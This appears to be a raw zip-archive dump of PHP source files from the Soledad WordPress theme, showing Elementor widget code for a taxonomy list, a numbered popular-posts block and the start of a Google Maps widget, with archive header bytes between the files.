			'selectors' => [ '{{WRAPPER}} .pc-widget-advanced-tax.tax-style-2 a:hover' => 'border-color:{{VALUE}}' ],
		) );

		$this->add_control( 'term_name_bgcolor', array(
			'type'      => Controls_Manager::COLOR,
			'label'     => __( 'Background Color', 'soledad' ),
			'condition' => [ 'style!' => 'style-1' ],
			'selectors' => [ '{{WRAPPER}} .pc-widget-advanced-tax.tax-style-2 a,{{WRAPPER}} .pc-widget-advanced-tax.tax-style-3 select' => 'background-color:{{VALUE}}' ],
		) );

		$this->add_control( 'term_name_bghcolor', array(
			'type'      => Controls_Manager::COLOR,
			'label'     => __( 'Background Hover Color', 'soledad' ),
			'condition' => [ 'style' => 'style-2' ],
			'selectors' => [ '{{WRAPPER}} .pc-widget-advanced-tax.tax-style-2 a:hover' => 'background-color:{{VALUE}}' ],
		) );

		$this->add_control( 'term_name_padding', array(
			'type'       => Controls_Manager::DIMENSIONS,
			'label'      => __( 'Term Name Padding', 'soledad' ),
			'size_units' => array( 'px' ),
			'condition'  => [ 'style' => 'style-2' ],
			'selectors'  => array(
				'{{WRAPPER}} .pc-widget-advanced-tax.tax-style-2 a' => 'padding: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
			),
		) );

		$this->add_responsive_control( 'term_name_spacing', array(
			'type'      => Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 300, ) ),
			'label'     => __( 'Term Spacing', 'soledad' ),
			'condition' => [ 'style' => 'style-1' ],
			'selectors' => [
				'{{WRAPPER}} .pc-widget-advanced-tax.tax-style-1 ul li:not(:last-child)' => 'margin-bottom:calc({{SIZE}}px / 2);padding-bottom:calc({{SIZE}}px / 2)',
				'{{WRAPPER}} .pc-widget-advanced-tax.tax-style-1 ul ul'                  => 'padding-top:calc({{SIZE}}px / 2);margin-top:calc({{SIZE}}px / 2)',
			],
		) );

		$this->end_controls_section();
		$this->register_block_title_style_section_controls();

	}

	protected function render() {
		$settings = $this->get_settings();

		$tax          = $settings['tax'];
		$hide_empty   = $settings['hide_empty'];
		$order        = $settings['order'];
		$orderby      = $settings['orderby'];
		$hierarchical = $settings['hierarchical'] == 'yes';
		$count        = $settings['count'] == 'yes';
		$maxitems     = $settings['maxitems'];
		$exclude      = $settings['excluded'];
		$mark_count   = $settings['mark_count'] == 'yes';
		$rstyle       = $settings['style'];
		$style        = $settings['style'];

		$term_args = [
			'taxonomy'     => $tax,
			'hide_empty'   => ! $hide_empty,
			'order'        => $order,
			'orderby'      => $orderby,
			'hierarchical' => $hierarchical,
			'show_count'   => $count,
			'number'       => $maxitems,
			'title_li'     => '',
		];
		if ( $exclude ) {
			$term_args['exclude'] = explode( ',', $exclude );
		}
		$style = $mark_count ? $style . ' hlmark' : $style;
		add_filter( 'wp_list_categories', function ( $links ) use ( $mark_count ) {
			if ( $mark_count ) {
				$links = preg_replace( '/<\/a> \(([0-9.,]+)\)/', ' <span class="category-item-count">\\1</span></a>', $links );
			}

			return $links;

		}, 0, 1 );

		$this->markup_block_title( $settings, $this );

		?>
        <div class="widget widget_categories pcel-acat">
            <div class="pc-widget-advanced-tax tax-<?php echo $style; ?>">
				<?php if ( 'style-3' == $rstyle ):
					$name = 'category' == $tax ? 'cat' : ( 'post_tag' == $tax ? 'tag' : $tax );
					$term_args['name'] = $name;
					$term_args['value_field'] = 'category' == $tax ? 'term_id' : 'slug';
					wp_dropdown_categories( $term_args );
					?>
                    <form method="get" action="<?php echo esc_url( home_url( '/' ) ); ?>">
						<?php
						wp_dropdown_categories( $term_args );
						?>
                        <script type="text/javascript">
                            /* <![CDATA[ */
                            (function () {
                                var dropdown = document.getElementById("<?php echo esc_attr( $name );?>");

                                function onCatChange() {
                                    if (dropdown.options[dropdown.selectedIndex].value !== '') {
                                        dropdown.parentNode.submit();
                                    }
                                }

                                dropdown.onchange = onCatChange;
                            })();
                            /* ]]> */
                        </script>
                    </form>
				<?php
                elseif ( 'style-2' == $rstyle ):

					wp_tag_cloud( $term_args );
				else:
					$extra_class = $settings['toggle'] == 'yes' ? ' toggle-enable' : '';
					echo '<ul class="pc-advanced-cat '.esc_attr( $extra_class ).'">';
					wp_list_categories( $term_args );
					echo '</ul>';
				endif; ?>
            </div>
        </div>
		<?php
	}
}
PK     1w\;B  B  ;  elementor/modules/penci-stylisted-articles-count/module.phpnu [        <?php

namespace PenciSoledadElementor\Modules\PenciStylistedArticlesCount;

use PenciSoledadElementor\Base\Module_Base;

class Module extends Module_Base {

	public function get_name() {
		return 'penci-stylisted-articles-count';
	}

	public function get_widgets() {
		return array( 'PenciStylistedArticlesCount' );
	}
}
PK     1w\N-ُU  U  [  elementor/modules/penci-stylisted-articles-count/widgets/penci-stylisted-articles-count.phpnu [        <?php

namespace PenciSoledadElementor\Modules\PenciStylistedArticlesCount\Widgets;

use Elementor\Controls_Manager;
use Elementor\Group_Control_Typography;
use PenciSoledadElementor\Base\Base_Widget;
use PenciSoledadElementor\Modules\QueryControl\Module as Query_Control;

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

class PenciStylistedArticlesCount extends Base_Widget {

	public function get_name() {
		return 'penci-stylisted-articles-count';
	}

	public function get_title() {
		return penci_get_theme_name( 'Penci' ) . ' ' . esc_html__( ' Stylisted Articles Count', 'soledad' );
	}

	public function get_icon() {
		return 'eicon-post-list';
	}

	public function get_categories() {
		return [ 'penci-elements' ];
	}

	public function get_keywords() {
		return array( 'posts' );
	}

	public function get_script_depends() {
		return [ 'penci_widgets_ajax' ];
	}

	protected function register_controls() {


		// Section layout
		$this->start_controls_section(
			'section_page_layout', array(
				'label' => esc_html__( 'Layout', 'soledad' ),
				'tab'   => Controls_Manager::TAB_CONTENT,
			)
		);

		$this->add_control( 'columns', array(
			'label'   => __( 'Columns', 'soledad' ),
			'type'    => Controls_Manager::SELECT,
			'default' => '',
			'options' => [
				'' => 'Default with Featured Post',
				2  => '2 Columns',
				3  => '3 Columns',
				4  => '4 Columns',
				5  => '5 Columns',
			],
		) );

		$this->add_control( 'tcolumns', array(
			'label'   => __( 'Columns for Tablet', 'soledad' ),
			'type'    => Controls_Manager::SELECT,
			'default' => 2,
			'options' => [
				1  => '1 Column',
				2  => '2 Columns',
				3  => '3 Columns',
			],
		) );

		$this->add_control( 'mcolumns', array(
			'label'   => __( 'Columns for Mobile', 'soledad' ),
			'type'    => Controls_Manager::SELECT,
			'default' => 1,
			'options' => [
				1  => '1 Column',
				2  => '2 Columns',
			],
		) );

		$this->add_responsive_control(
			'penci_img_ratio', array(
				'label'          => __( 'Image Ratio', 'soledad' ),
				'type'           => Controls_Manager::SLIDER,
				'default'        => array( 'size' => 0.66 ),
				'tablet_default' => array( 'size' => '' ),
				'mobile_default' => array( 'size' => 0.5 ),
				'condition'      => array( 'columns' => '' ),
				'range'          => array( 'px' => array( 'min' => 0.1, 'max' => 2, 'step' => 0.01 ) ),
				'selectors'      => array(
					'{{WRAPPER}} .penci-image-holder:before' => 'padding-top: calc( {{SIZE}} * 100% );',
				),
			)
		);
		$this->add_control(
			'thumb_size', array(
				'label'     => __( 'Custom Image size', 'soledad' ),
				'type'      => Controls_Manager::SELECT,
				'default'   => 'penci-masonry-thumb',
				'condition' => array( 'columns' => '' ),
				'options'   => $this->get_list_image_sizes( true ),
			)
		);

		$this->add_control(
			'title_length', array(
				'label'       => __( 'Custom words length for post titles', 'soledad' ),
				'type'        => Controls_Manager::NUMBER,
				'description' => __( 'If your post titles is too long - You can use this option for trim it. Fill number value here.', 'soledad' ),
			)
		);

		$this->add_control(
			'show_author', array(
				'label' => __( 'Show Author Name?', 'soledad' ),
				'type'  => Controls_Manager::SWITCHER,
			)
		);
		$this->add_control(
			'hide_postdate', array(
				'label' => __( 'Hide post date?', 'soledad' ),
				'type'  => Controls_Manager::SWITCHER,
			)
		);
		$this->add_control(
			'show_comment', array(
				'label' => __( 'Show Comment Count?', 'soledad' ),
				'type'  => Controls_Manager::SWITCHER,
			)
		);
		$this->add_control(
			'show_postviews', array(
				'label' => __( 'Show Post Views?', 'soledad' ),
				'type'  => Controls_Manager::SWITCHER,
			)
		);

		$this->add_control(
			'showborder', array(
				'label'     => __( 'Remove Border at The Bottom?', 'soledad' ),
				'type'      => Controls_Manager::SWITCHER,
				'selectors' => array(
					'{{WRAPPER}} ul li' => 'border-bottom: none !important'
				)
			)
		);

		$this->add_control(
			'rp_rows_gap', array(
				'label'              => __( 'Rows Gap', 'soledad' ),
				'type'               => Controls_Manager::SLIDER,
				'range'              => array( 'px' => array( 'min' => 0, 'max' => 200 ) ),
				'frontend_available' => true,
				'selectors'          => array(
					'{{WRAPPER}} ul li' => 'margin-bottom: calc({{SIZE}}{{UNIT}}/2); padding-bottom: calc({{SIZE}}{{UNIT}}/2)',
				),
			)
		);

		$this->add_control( 'ajaxnav', array(
			'label'   => __( 'Ajax Posts Navigation?', 'soledad' ),
			'type'    => Controls_Manager::SELECT,
			'default' => '',
			'options' => [
				''    => 'Disable',
				'nav' => 'Next/Previous Buttons',
				'btn' => 'Load More Posts Button',
			]
		) );

		$this->end_controls_section();
		$this->register_query_section_controls();
		$this->register_block_title_section_controls();
		$this->start_controls_section(
			'section_post_style',
			array(
				'label' => __( 'Post', 'soledad' ),
				'tab'   => Controls_Manager::TAB_STYLE,
			)
		);
		$this->add_control(
			'pborder_color', array(
				'label'     => __( 'Borders Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => array(
					'{{WRAPPER}} ul li' => 'border-color: {{VALUE}};',
				)
			)
		);

		$this->add_control(
			'heading_ptitle_style', array(
				'label' => __( 'Post Title', 'soledad' ),
				'type'  => Controls_Manager::HEADING
			)
		);

		$this->add_control(
			'ptitle_color', array(
				'label'     => __( 'Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => array(
					'{{WRAPPER}} .popularpost_item .pcpopular_new_post_title'   => 'color: {{VALUE}};',
					'{{WRAPPER}} .popularpost_item .pcpopular_new_post_title a' => 'color: {{VALUE}};',
				)
			)
		);
		$this->add_control(
			'ptitle_hcolor', array(
				'label'     => __( 'Hover Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => array(
					'{{WRAPPER}} .popularpost_item .pcpopular_new_post_title a:hover' => 'color: {{VALUE}};',
				)
			)
		);

		$this->add_group_control(
			Group_Control_Typography::get_type(), array(
				'name'     => 'ptitle_typo',
				'selector' => '{{WRAPPER}} .popularpost_item .pcpopular_new_post_title'
			)
		);

		$this->add_responsive_control(
			'featitle_size', array(
				'label'     => __( 'Font size for Featured/Big Post', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => array( 'px' => array( 'min' => 0, 'max' => 100, ) ),
				'selectors' => array(
					'{{WRAPPER}} .popularpost_item.first .pcpopular_new_post_title' => 'font-size: {{SIZE}}px'
				),
			)
		);

		$this->add_control(
			'heading_pmeta_style', array(
				'label' => __( 'Post Meta', 'soledad' ),
				'type'  => Controls_Manager::HEADING
			)
		);

		$this->add_control(
			'pmeta_color', array(
				'label'     => __( 'Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => array(
					'{{WRAPPER}} .popularpost_meta' => 'color: {{VALUE}};',
				)
			)
		);
		$this->add_control(
			'pmeta_acolor', array(
				'label'     => __( 'Color for Author Name & Comment Count', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => array(
					'{{WRAPPER}} .popularpost_meta a' => 'color: {{VALUE}};',
				)
			)
		);
		$this->add_control(
			'pmeta_ahcolor', array(
				'label'     => __( 'Hover Color for Author Name & Comment Count', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => array(
					'{{WRAPPER}} .popularpost_meta a:hover' => 'color: {{VALUE}};',
				)
			)
		);
		$this->add_group_control(
			Group_Control_Typography::get_type(), array(
				'name'     => 'pmeta_typo',
				'selector' => '{{WRAPPER}} .popularpost_meta',
			)
		);

		$this->add_control(
			'heading_number_style', array(
				'label' => __( 'Number Style', 'soledad' ),
				'type'  => Controls_Manager::HEADING,
			)
		);

		$this->add_control(
			'number_color', array(
				'label'     => __( 'Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => array(
					'{{WRAPPER}} .popularpost_item .pcpopular_new_post_title a:before' => 'color: {{VALUE}};',
				)
			)
		);
		$this->add_control(
			'number_bgcolor', array(
				'label'     => __( 'Background Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => array(
					'{{WRAPPER}} .popularpost_item .pcpopular_new_post_title a:before' => 'background-color: {{VALUE}};',
				)
			)
		);
		$this->add_control(
			'number_bdcolor', array(
				'label'     => __( 'Border Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => array(
					'{{WRAPPER}} .popularpost_item .pcpopular_new_post_title a:before' => 'border: 1px solid {{VALUE}};',
				)
			)
		);

		$this->add_control(
			'number_hcolor', array(
				'label'     => __( 'Hover Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => array(
					'{{WRAPPER}} .popularpost_item:hover .pcpopular_new_post_title a:before' => 'color: {{VALUE}};',
				)
			)
		);
		$this->add_control(
			'number_bghcolor', array(
				'label'     => __( 'Hover Background Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => array(
					'{{WRAPPER}} .popularpost_item:hover .pcpopular_new_post_title a:before' => 'background-color: {{VALUE}};',
				)
			)
		);
		$this->add_control(
			'number_bdhcolor', array(
				'label'     => __( 'Hover Border Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => array(
					'{{WRAPPER}} .popularpost_item:hover .pcpopular_new_post_title a:before' => 'border: 1px solid {{VALUE}};',
				)
			)
		);

		$this->add_group_control(
			Group_Control_Typography::get_type(), array(
				'name'     => 'number_typo_small',
				'label'    => __( 'Number Typography on Small Posts', 'soledad' ),
				'selector' => '{{WRAPPER}} .popularpost_item:not(.first) .pcpopular_new_post_title a:before',
			)
		);
		$this->add_group_control(
			Group_Control_Typography::get_type(), array(
				'name'     => 'number_typo_big',
				'label'    => __( 'Number Typography on Big Post', 'soledad' ),
				'selector' => '{{WRAPPER}} .popularpost_item.first .pcpopular_new_post_title a:before, {{WRAPPER}} .popularpost_item.first:hover .pcpopular_new_post_title a:before',
			)
		);
		$this->add_responsive_control(
			'number_size_small', array(
				'label'     => __( 'Number Size on Small Posts', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => array( 'px' => array( 'min' => 10, 'max' => 200, 'step' => 1 ) ),
				'selectors' => array(
					'{{WRAPPER}} .popularpost_item:not(.first) .pcpopular_new_post_title a:before' => 'width: {{SIZE}}px;height: {{SIZE}}px;line-height: {{SIZE}}px;',
					'{{WRAPPER}} .popularpost_item:not(.first)'                                    => 'padding-left: calc({{SIZE}}px + 35px);',
				)
			)
		);
		$this->add_responsive_control(
			'number_size_big', array(
				'label'     => __( 'Number Size on Big Post', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => array( 'px' => array( 'min' => 10, 'max' => 200, 'step' => 1 ) ),
				'selectors' => array(
					'{{WRAPPER}} .popularpost_item.first .pcpopular_new_post_title a::before, {{WRAPPER}} .popularpost_item.first:hover .pcpopular_new_post_title a:before' => 'width: {{SIZE}}px;height: {{SIZE}}px;line-height: {{SIZE}}px;',
					'{{WRAPPER}} .popularpost_item.first .pcpopular_new_post_title,{{WRAPPER}} .popularpost_item.first .popularpost_meta'                                   => 'padding-left: calc({{SIZE}}px + 35px);',
				)
			)
		);

		$this->end_controls_section();

		$this->start_controls_section( 'post_navigation_style', array(
			'label'     => __( 'Post Navigation', 'soledad' ),
			'tab'       => Controls_Manager::TAB_STYLE,
			'condition' => [ 'ajaxnav!' => '' ]
		) );

		$this->add_group_control( Group_Control_Typography::get_type(), array(
			'name'     => 'post_nav_btn_typo',
			'label'    => __( 'Button Typography', 'soledad' ),
			'selector' => '{{WRAPPER}} .penci-pagination.penci-ajax-nav .pcajx-btn,{{WRAPPER}} .penci-pagination.penci-ajax-nav .pcajx-btn .pcnav-title, {{WRAPPER}} .penci-pagination.penci-ajax-more a.penci-ajax-more-button',
		) );

		$this->add_control( 'post_nav_btn_color', array(
			'label'     => __( 'Button Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .penci-pagination.penci-ajax-nav .pcajx-btn,{{WRAPPER}} .penci-pagination.penci-ajax-nav .pcajx-btn .pcnav-title' => 'color: {{VALUE}};',
				'{{WRAPPER}} .penci-pagination.penci-ajax-more a.penci-ajax-more-button'                                                       => 'color: {{VALUE}};',
			),
		) );

		$this->add_control( 'post_nav_btn_bdcolor', array(
			'label'     => __( 'Button Border Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .penci-pagination.penci-ajax-nav .pcajx-btn,{{WRAPPER}} .penci-pagination.penci-ajax-nav .pcajx-btn .pcnav-title' => 'border-color: {{VALUE}};',
				'{{WRAPPER}} .penci-pagination.penci-ajax-more a.penci-ajax-more-button'                                                       => 'border-color: {{VALUE}};',
			),
		) );

		$this->add_control( 'post_nav_btn_bgcolor', array(
			'label'     => __( 'Button Background Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .penci-pagination.penci-ajax-nav .pcajx-btn,{{WRAPPER}} .penci-pagination.penci-ajax-nav .pcajx-btn .pcnav-title' => 'background-color: {{VALUE}};',
				'{{WRAPPER}} .penci-pagination.penci-ajax-more a.penci-ajax-more-button'                                                       => 'background-color: {{VALUE}};',
			),
		) );

		$this->add_control( 'post_nav_btn_hcolor', array(
			'label'     => __( 'Button Hover Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .penci-pagination.penci-ajax-nav .pcajx-btn:hover,{{WRAPPER}} .penci-pagination.penci-ajax-nav .pcajx-btn:hover .pcnav-title' => 'color: {{VALUE}};',
				'{{WRAPPER}} .penci-pagination.penci-ajax-more a.penci-ajax-more-button:hover'                                                             => 'color: {{VALUE}};',
			),
		) );

		$this->add_control( 'post_nav_btn_bdhcolor', array(
			'label'     => __( 'Button Border Hover Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .penci-pagination.penci-ajax-nav .pcajx-btn:hover,{{WRAPPER}} .penci-pagination.penci-ajax-nav .pcajx-btn:hover .pcnav-title' => 'border-color: {{VALUE}};',
				'{{WRAPPER}} .penci-pagination.penci-ajax-more a.penci-ajax-more-button:hover'                                                             => 'border-color: {{VALUE}};',
			),
		) );

		$this->add_control( 'post_nav_btn_bghcolor', array(
			'label'     => __( 'Button Background Hover Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .penci-pagination.penci-ajax-nav .pcajx-btn:hover,{{WRAPPER}} .penci-pagination.penci-ajax-nav .pcajx-btn:hover .pcnav-title' => 'background-color: {{VALUE}};',
				'{{WRAPPER}} .penci-pagination.penci-ajax-more a.penci-ajax-more-button:hover'                                                             => 'background-color: {{VALUE}};',
			),
		) );

		$this->end_controls_section();

		$this->register_block_title_style_section_controls();

	}

	/**
	 * Get image sizes.
	 *
	 * Retrieve available image sizes after filtering `include` and `exclude` arguments.
	 */
	public function get_list_image_sizes( $default = false ) {
		$wp_image_sizes = $this->get_all_image_sizes();

		$image_sizes = array();

		if ( $default ) {
			$image_sizes[''] = esc_html__( 'Default', 'soledad' );
		}

		foreach ( $wp_image_sizes as $size_key => $size_attributes ) {
			$control_title = ucwords( str_replace( '_', ' ', $size_key ) );
			if ( is_array( $size_attributes ) ) {
				$control_title .= sprintf( ' - %d x %d', $size_attributes['width'], $size_attributes['height'] );
			}

			$image_sizes[ $size_key ] = $control_title;
		}

		$image_sizes['full'] = esc_html__( 'Full', 'soledad' );

		return $image_sizes;
	}

	public function get_all_image_sizes() {
		global $_wp_additional_image_sizes;

		$default_image_sizes = [ 'thumbnail', 'medium', 'medium_large', 'large' ];

		$image_sizes = [];

		foreach ( $default_image_sizes as $size ) {
			$image_sizes[ $size ] = [
				'width'  => (int) get_option( $size . '_size_w' ),
				'height' => (int) get_option( $size . '_size_h' ),
				'crop'   => (bool) get_option( $size . '_crop' ),
			];
		}

		if ( $_wp_additional_image_sizes ) {
			$image_sizes = array_merge( $image_sizes, $_wp_additional_image_sizes );
		}

		return $image_sizes;
	}

	protected function render() {
		$settings         = $this->get_settings();
		$thumb_size       = $settings['thumb_size'] ? $settings['thumb_size'] : '';
		$original_postype = $settings['posts_post_type'];

		if ( in_array( $original_postype, [
				'current_query',
				'related_posts'
			] ) && penci_elementor_is_edit_mode() && penci_is_builder_template() ) {
			$settings['posts_post_type'] = 'post';
		}

		$query_args = Query_Control::get_query_args( 'posts', $settings );
		if ( in_array( $original_postype, [ 'current_query', 'related_posts' ] ) ) {
			$paged  = ( get_query_var( 'paged' ) ) ? get_query_var( 'paged' ) : 1;
			$ppp    = $settings['posts_per_page'] ? $settings['posts_per_page'] : get_option( 'posts_per_page' );
			$ppp    = isset( $settings['arposts_per_page'] ) && $settings['arposts_per_page'] ? $settings['arposts_per_page'] : $ppp;
			$offset = 0;
			if ( $ppp ) {
				$query_args['posts_per_page'] = $ppp;
			}
			if ( $settings['arposts_new'] == 'yes' ) {
				$query_args['paged'] = 1;
			}
			if ( 0 < $settings['offset'] ) {
				$offset = $settings['offset'];
			}

			if ( ! empty( $settings['offset'] ) && $paged > 1 ) {
				$offset = $settings['offset'] + ( ( $paged - 1 ) * $ppp );
			}

			if ( $offset ) {
				$query_args['offset'] = $offset;
			}
		}
		$loop = new \WP_Query( $query_args );

		if ( ! $loop->have_posts() ) {
			return;
		}

		$title_length = intval( $settings['title_length'] );
		$postdate     = 'yes' == $settings['hide_postdate'] ? true : false;
		$showauthor   = 'yes' == $settings['show_author'] ? true : false;
		$showcomment  = 'yes' == $settings['show_comment'] ? true : false;
		$showviews    = 'yes' == $settings['show_postviews'] ? true : false;

		$ajax_tab_var = [
			'title_length'   => intval( $settings['title_length'] ),
			'hide_postdate'  => $settings['hide_postdate'],
			'show_author'    => $settings['show_author'],
			'show_comment'   => $settings['show_comment'],
			'show_postviews' => $settings['show_postviews'],
			'custom_query'   => $query_args,
			'columns'        => $settings['columns'],
			'tcolumns'       => $settings['tcolumns'],
			'mcolumns'       => $settings['mcolumns'],
		];

		$css_class = 'penci-block-vc penci_recent-posts-sc widget';
		$rand      = rand( 1000, 10000 );
		?>
        <div class="<?php echo esc_attr( $css_class ); ?>">
			<?php $this->markup_block_title( $settings, $this ); ?>
            <div class="penci-block_content">
				<?php
				get_template_part( 'inc/templates/popular_posts', '', [
					'loop'         => $loop,
					'class'        => 'demo',
					'showauthor'   => $showauthor,
					'postdate'     => $postdate,
					'showviews'    => $showviews,
					'showcomment'  => $showcomment,
					'title_length' => $title_length,
					'thumb'        => $thumb_size,
					'columns'      => $settings['columns'],
					'tcolumns'     => $settings['tcolumns'],
					'mcolumns'     => $settings['mcolumns'],
					'id'           => 'pcstylisted-acount-' . sanitize_text_field( $rand ),
					'data_attr'    => 'data-mes="' . penci_get_setting( 'penci_trans_no_more_posts' ) . '" data-max="' . esc_attr( $loop->max_num_pages ) . '" data-settings=\'' . json_encode( $ajax_tab_var ) . '\' data-paged="1" data-action="penci_stylisted_articles_count_ajax"',
				] );

				if ( isset( $settings['ajaxnav'] ) && $settings['ajaxnav'] == 'btn' ) {
					?>
                    <div class="penci-pagination penci-ajax-more pcwg-lposts">
                        <a class="penci-ajax-more-button penci-wgajx-btn"
                           href="#" aria-label="More Posts">
                            <span class="ajax-more-text"><?php echo penci_get_setting( 'penci_trans_load_more_posts' ); ?></span><span
                                    class="ajaxdot"></span><i
                                    class="penci-faicon fa fa-refresh"></i> </a>
                    </div>
					<?php
				} else if ( isset( $settings['ajaxnav'] ) && $settings['ajaxnav'] == 'nav' ) { ?>
                    <div class="penci-pagination penci-ajax-nav pcwg-lposts">
                        <span class="pcajx-btn penci-wgajx-btn prev disable"><?php echo penci_icon_by_ver( 'penciicon-left-chevron' ) . ' <span class="pcnav-title">' . penci_get_setting( 'penci_trans_back' ); ?></span></span>
                        <span class="pcajx-btn penci-wgajx-btn next"><?php echo '<span class="pcnav-title">' . penci_get_setting( 'penci_trans_next' ) . '</span>' . penci_icon_by_ver( 'penciicon-right-chevron' ); ?></span>
                    </div>
					<?php
				}
				if ( isset( $settings['ajaxnav'] ) && $settings['ajaxnav'] ) {
					?>
                    <div class="pcwgajx-ld-wrapper">
						<?php echo penci_get_html_animation_loading( 'df' ); ?>
                    </div>
					<?php
				}
				wp_reset_postdata();
				?>
            </div>
        </div>
		<?php
	}
}
PK     1w\um  m  1  elementor/modules/penci-advanced-gmaps/module.phpnu [        <?php
namespace PenciSoledadElementor\Modules\PenciAdvancedGmaps;

use PenciSoledadElementor\Base\Module_Base;

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly
}


class Module extends Module_Base {

	public function get_name() {
		return 'penci-advanced-gmaps';
	}

	public function get_widgets() {
		return array( 'PenciAdvancedGmaps' );
	}
}
PK     1w\B  B  G  elementor/modules/penci-advanced-gmaps/widgets/penci-advanced-gmaps.phpnu [        <?php

namespace PenciSoledadElementor\Modules\PenciAdvancedGmaps\Widgets;

use Elementor\Controls_Manager;
use Elementor\Group_Control_Background;
use Elementor\Group_Control_Border;
use Elementor\Group_Control_Box_Shadow;
use Elementor\Group_Control_Css_Filter;
use Elementor\Group_Control_Typography;
use Elementor\Repeater;
use Elementor\Utils;
use PenciSoledadElementor\Base\Base_Widget;

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

// Exit if accessed directly

class PenciAdvancedGmaps extends Base_Widget {

	public function get_name() {
		return 'penci-advanced-gmap';
	}

	public function get_title() {
		return penci_get_theme_name( 'Penci' ) . ' ' . esc_html__( ' Advanced Google Maps', 'soledad' );
	}

	public function get_icon() {
		return 'eicon-google-maps';
	}

	public function get_categories() {
		return [ 'penci-elements' ];
	}

	public function get_keywords() {
		return [ 'advanced', 'gmap', 'location' ];
	}

	public function get_script_depends() {
		return [ 'google-map', 'penci-amap' ];
	}

	protected function is_dynamic_content(): bool {
		return true;
	}

	protected function register_controls() {
		$this->start_controls_section(
			'section_content_gmap',
			[
				'label' => esc_html__( 'Google Map', 'soledad' ),
			]
		);

		$this->add_control(
			'avd_google_map_default_zoom',
			[
				'label'   => esc_html__( 'Default Zoom', 'soledad' ),
				'type'    => Controls_Manager::SLIDER,
				'default' => [
					'size' => 15,
				],
				'range'   => [
					'px' => [
						'min' => 1,
						'max' => 24,
					],
				],
			]
		);

		$this->add_responsive_control(
			'avd_google_map_height',
			[
				'label'     => esc_html__( 'Map Height', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => [
					'px' => [
						'max' => 1000,
					],
				],
				'selectors' => [
					'{{WRAPPER}} .penci-advanced-map' => '--mheight: {{SIZE}}{{UNIT}}',
				],
			]
		);
		$this->add_control(
			'avd_google_map_show_list',
			[
				'label'     => esc_html__( 'Show List', 'soledad' ),
				'type'      => Controls_Manager::SWITCHER,
				'default'   => 'no',
				'separator' => 'before',
			]
		);
		$this->add_control(
			'avd_google_map_list_position',
			[
				'label'     => esc_html__( 'List Position', 'soledad' ),
				'type'      => Controls_Manager::SELECT,
				'default'   => 'right',
				'options'   => [
					'left'  => esc_html__( 'Left', 'soledad' ),
					'right' => esc_html__( 'Right', 'soledad' ),
				],
				'condition' => [
					'avd_google_map_show_list' => 'yes',
				],
			]
		);

		$this->add_control(
			'gmap_geocode',
			[
				'label'     => esc_html__( 'Search Address', 'soledad' ),
				'type'      => Controls_Manager::SWITCHER,
				'separator' => 'before',
			]
		);

		$this->add_control(
			'search_placeholder_text',
			[
				'label'     => esc_html__( 'Placeholder Text', 'soledad' ),
				'type'      => Controls_Manager::TEXT,
				'default'   => esc_html__( 'Search...', 'soledad' ),
				'condition' => [
					'gmap_geocode' => 'yes'
				]
			]
		);

		$this->add_responsive_control(
			'search_align',
			[
				'label'     => esc_html__( 'Alignment', 'soledad' ),
				'type'      => Controls_Manager::CHOOSE,
				'options'   => [
					'left'   => [
						'title' => esc_html__( 'Left', 'soledad' ),
						'icon'  => 'eicon-text-align-left',
					],
					'center' => [
						'title' => esc_html__( 'Center', 'soledad' ),
						'icon'  => 'eicon-text-align-center',
					],
					'right'  => [
						'title' => esc_html__( 'Right', 'soledad' ),
						'icon'  => 'eicon-text-align-right',
					],
				],
				'selectors' => [
					'{{WRAPPER}} .penci-gmap-search-wrapper' => 'text-align: {{VALUE}};',
				],
				'condition' => [
					'gmap_geocode' => 'yes',
				],
			]
		);

		$this->end_controls_section();

		$this->start_controls_section(
			'section_content_marker',
			[
				'label' => esc_html__( 'Locations', 'soledad' ),
			]
		);

		$repeater = new Repeater();

		$repeater->add_control(
			'marker_title',
			[
				'label'       => esc_html__( 'Title', 'soledad' ),
				'label_block' => true,
				'type'        => Controls_Manager::TEXT,
				'dynamic'     => [ 'active' => true ],
			]
		);
		$repeater->add_control(
			'marker_place',
			[
				'label'       => esc_html__( 'Place', 'soledad' ),
				'type'        => Controls_Manager::TEXTAREA,
				'label_block' => true,
				'dynamic'     => [ 'active' => true ],
			]
		);
		$repeater->add_control(
			'marker_phone',
			[
				'label'       => esc_html__( 'Phone', 'soledad' ),
				'type'        => Controls_Manager::TEXT,
				'label_block' => true,
				'dynamic'     => [ 'active' => true ],
			]
		);

		$this->add_control(
			'marker',
			[
